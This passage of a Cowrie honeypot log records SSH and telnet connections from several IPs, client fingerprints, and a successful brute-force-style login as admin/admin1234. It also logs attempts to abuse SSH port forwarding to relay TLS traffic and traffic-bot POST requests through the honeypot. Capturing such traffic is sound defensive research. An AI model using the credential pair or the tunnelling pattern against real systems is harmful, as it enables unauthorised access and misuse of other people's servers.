\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa99}\"6[\\xb6\\xdb\\x1cN\\x8dv\\xedvQ\\xf6\\x7f\\x9a\\xd0\\x04:(P\\x12\\xfeL\\xab\\x1f\\xf5\\xf2b\\xd3 \\x19\\x1d|\\x991n!v\\xe9\\r\\xcf+<A\\x95Zr\\xb58\\xee\\x15)\\xf4q\\xa0L\\xb51tSQ\\x9b\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x03\\xfc\\x013\\x8b\\xda;\"\\x95\\x92<(\\x94\\x14W\\xc6\\xd8\\x02I\\xb5\\x12\\xf3\\xbe\\x0b\\x94\\xe0\\r\\xc2rB^0\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:48.678219Z","src_ip":"123.27.168.40","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:49.128460Z","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:49.359433Z","src_ip":"123.27.168.40","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82b\\xc2\\x00\\xd1\\x7f\\x8eCdx\\xf8\\xcd\\x97\\xc7H_\\xeeR\\xf2\\xd4\\x1b<\\x0c\\x04\\x15\\xb4/1Z\\x99\\xeb\\xc3 ?>\\xf57\\xf1\\xcd]\\xc9\\x16\\x869\\xd8\\x9c4\\xd4j\\xff\\xa3\\xa6\\xbd\\xc0\\xa3\\x1f\\xf0\\x98v\\xc3\\x83\\xdd?\\xca\\x9d\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb7\\xba\\x99\\xf9\\xd1!\\x18U^\\xab \\xab\\x1f\\xcfYvU\\x10\\xdb)G8\\x8d\\x1f#\\xbf\\xf6l:BF}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82b\\xc2\\x00\\xd1\\x7f\\x8eCdx\\xf8\\xcd\\x97\\xc7H_\\xeeR\\xf2\\xd4\\x1b<\\x0c\\x04\\x15\\xb4/1Z\\x99\\xeb\\xc3 ?>\\xf57\\xf1\\xcd]\\xc9\\x16\\x869\\xd8\\x9c4\\xd4j\\xff\\xa3\\xa6\\xbd\\xc0\\xa3\\x1f\\xf0\\x98v\\xc3\\x83\\xdd?\\xca\\x9d\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb7\\xba\\x99\\xf9\\xd1!\\x18U^\\xab \\xab\\x1f\\xcfYvU\\x10\\xdb)G8\\x8d\\x1f#\\xbf\\xf6l:BF}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:49.363542Z","src_ip":"123.27.168.40","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:49.765900Z","src_ip":"123.27.168.40","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":35618,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff93125ffc48","protocol":"telnet","message":"New connection: 94.23.66.112:35618 (10.17.0.5:23) [session: ff93125ffc48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:59.627829Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":49187,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2e783c15a9","protocol":"ssh","message":"New connection: 173.208.188.210:49187 (10.17.0.5:22) [session: ce2e783c15a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:04.491063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:04.496475Z","src_ip":"173.208.188.210","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:04.666138Z","src_ip":"173.208.188.210","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52072,"dst_ip":"159.203.135.109","dst_port":23,"session":"f69a14960471","protocol":"telnet","message":"New connection: 128.199.8.54:52072 (159.203.135.109:23) [session: f69a14960471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:05.120709Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:05.926337Z","src_ip":"173.208.188.210","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":35390,"dst_ip":"10.17.0.5","dst_port":23,"session":"5232a5cff4c9","protocol":"telnet","message":"New connection: 94.23.66.112:35390 (10.17.0.5:23) [session: 5232a5cff4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:12.621408Z"}
{"eventid":"cowrie.session.closed","duration":2.3302621841430664,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:14.951520Z","src_ip":"94.23.66.112","session":"5232a5cff4c9","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:15.314499Z","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:15.350029Z","src_ip":"173.208.188.210","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; iBall_Slide_Perfect_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Q3B2bEpPaGtpKD5BQWhKZA%3D%3DTXaVz3hP19eJ3FWZG3FnlR7jkoMxr25OYX7sTHF3vdt%2BSpjyFJe2Sy0I%2BUx8PD%2FyDxb%2BIPRcyJTYHtadyHt5%2BvC578qL9AjWfhjkb%2FgeJ5eBv2hl6DfWL7wbucMm9gy0cMhbQ66SNI9zPYd54tFM81RWtvj%2BUH7eTFqJxZHRYYfBcBWHwDudld3VdE%2BD8gf0e0EH6iKsXvj5lX30bbHxFEhYdyC5OfpZd22gWsezxkqGDwZprIoUqyk%2BqkEDRWC65ggf6BUF2jTB2sOHAxfdXaHLINQ4T4FnmtrLUP2Ag3AXaLsjo6LdH1yExwvO9k228BIQRle1%2B96xjQGCmF%2FRa6FDFeiqTt6Nd8l1qRTFpLls67cYXy0WsRxVLY8wl40XTYnfmzNOFmRjFZkRdxkqs4R4EuU2ni9hbh0EdBdEuQE1CA6bOKNXUIcLZnogcCxlNV66iHSdPC6%2BKUuGvOqwgHdNPsqz33vxo2GpYrBWVsPJoObfLzx1%2FQMevfbvHl%2FrLN1RjL1eh2HmH59SaezTHofLFfQFMULgHRQpmezNjcdNIW%2FoArWC14Lp1JPhzGIAFS%2F1UaiRxQKmWrzVCu0q74x8OsVHeNriuGpKPKayWhqb17lk0SymetP3a9rBKPf%2F0N%2BY23MIPqLJMHs2CxS%2FLZ1QbaHToX2JaZwdaCoJdU6XMNvb2PJ3DxLO7wodobcBNC%2FiOg%2FJzIRMviUcegWmTpMuGT%2Bed6Er6ABdrOkUXuY5KK3OKaFrX5Uwp4TRXzaX0VVxic6YxymVMsgdtWOieBOvVlKhRTWpIjcL747wxSyKZGrpDvUgLFLp9HDwWIemXJaHYgCCMTgmDrxW%2FofoiHpn0YwnrQbUd8xZ0otYroUfZ0cKq0hSGIqDjiy2Tv2cgwnNzX2ri6QUVusEXm4YkxBrIJoaHxR26cpf%2BL%2FN9%2Fn1qowCwY0sPA7c1DbQtklzh6AusUhcRj%2BLyBRfAYX8R0hgX5KM%2FvdrKMSAOWaQuqPO9bzxTkdJyfgf0UpUPzn7gvzBhCx8CuhT01ROmhXmJtv1IgItPcmIkikpDJqgVOQ%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; iBall_Slide_Perfect_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Q3B2bEpPaGtpKD5BQWhKZA%3D%3DTXaVz3hP19eJ3FWZG3FnlR7jkoMxr25OYX7sTHF3vdt%2BSpjyFJe2Sy0I%2BUx8PD%2FyDxb%2BIPRcyJTYHtadyHt5%2BvC578qL9AjWfhjkb%2FgeJ5eBv2hl6DfWL7wbucMm9gy0cMhbQ66SNI9zPYd54tFM81RWtvj%2BUH7eTFqJxZHRYYfBcBWHwDudld3VdE%2BD8gf0e0EH6iKsXvj5lX30bbHxFEhYdyC5OfpZd22gWsezxkqGDwZprIoUqyk%2BqkEDRWC65ggf6BUF2jTB2sOHAxfdXaHLINQ4T4FnmtrLUP2Ag3AXaLsjo6LdH1yExwvO9k228BIQRle1%2B96xjQGCmF%2FRa6FDFeiqTt6Nd8l1qRTFpLls67cYXy0WsRxVLY8wl40XTYnfmzNOFmRjFZkRdxkqs4R4EuU2ni9hbh0EdBdEuQE1CA6bOKNXUIcLZnogcCxlNV66iHSdPC6%2BKUuGvOqwgHdNPsqz33vxo2GpYrBWVsPJoObfLzx1%2FQMevfbvHl%2FrLN1RjL1eh2HmH59SaezTHofLFfQFMULgHRQpmezNjcdNIW%2FoArWC14Lp1JPhzGIAFS%2F1UaiRxQKmWrzVCu0q74x8OsVHeNriuGpKPKayWhqb17lk0SymetP3a9rBKPf%2F0N%2BY23MIPqLJMHs2CxS%2FLZ1QbaHToX2JaZwdaCoJdU6XMNvb2PJ3DxLO7wodobcBNC%2FiOg%2FJzIRMviUcegWmTpMuGT%2Bed6Er6ABdrOkUXuY5KK3OKaFrX5Uwp4TRXzaX0VVxic6YxymVMsgdtWOieBOvVlKhRTWpIjcL747wxSyKZGrpDvUgLFLp9HDwWIemXJaHYgCCMTgmDrxW%2FofoiHpn0YwnrQbUd8xZ0otYroUfZ0cKq0hSGIqDjiy2Tv2cgwnNzX2ri6QUVusEXm4YkxBrIJoaHxR26cpf%2BL%2FN9%2Fn1qowCwY0sPA7c1DbQtklzh6AusUhcRj%2BLyBRfAYX8R0hgX5KM%2FvdrKMSAOWaQuqPO9bzxTkdJyfgf0UpUPzn7gvzBhCx8CuhT01ROmhXmJtv1IgItPcmIkikpDJqgVOQ%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:15.353931Z","src_ip":"173.208.188.210","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:16.415750Z","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:28:16.465219Z","src_ip":"173.208.188.210","session":"ce2e783c15a9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1\\xbbP#l\\x15n\\x0f\\xd3z\\x85\\x1a\\x98\\xf8&\\x8f\\xa2\\xb1\\x9d\\x9b\\x0bC\\xe8\\xa6\\x81\\xa9j\\xd1\\xd5\\x03\\x95\\x8f jU\\xd4\\xb4\\x80\\x8c\\x83M\\xa9\\xc6\\x9d\\xa9\\x950\\x80\\x8a\\x9dP\\x19\\xa5\\xc2\\x92\\xe7\\xe6\\xfd\\xaby\\x9cNa\\xda$\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x13>w\\x81T3l\\x1d\\xc5\\xb8%\\xa0\\xe9\\xae\\x84(\\xa5\\x92\\xdeJe\\x08\\x9a\\x9dv\\xd7\\x95\\x93\\xeatLw\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\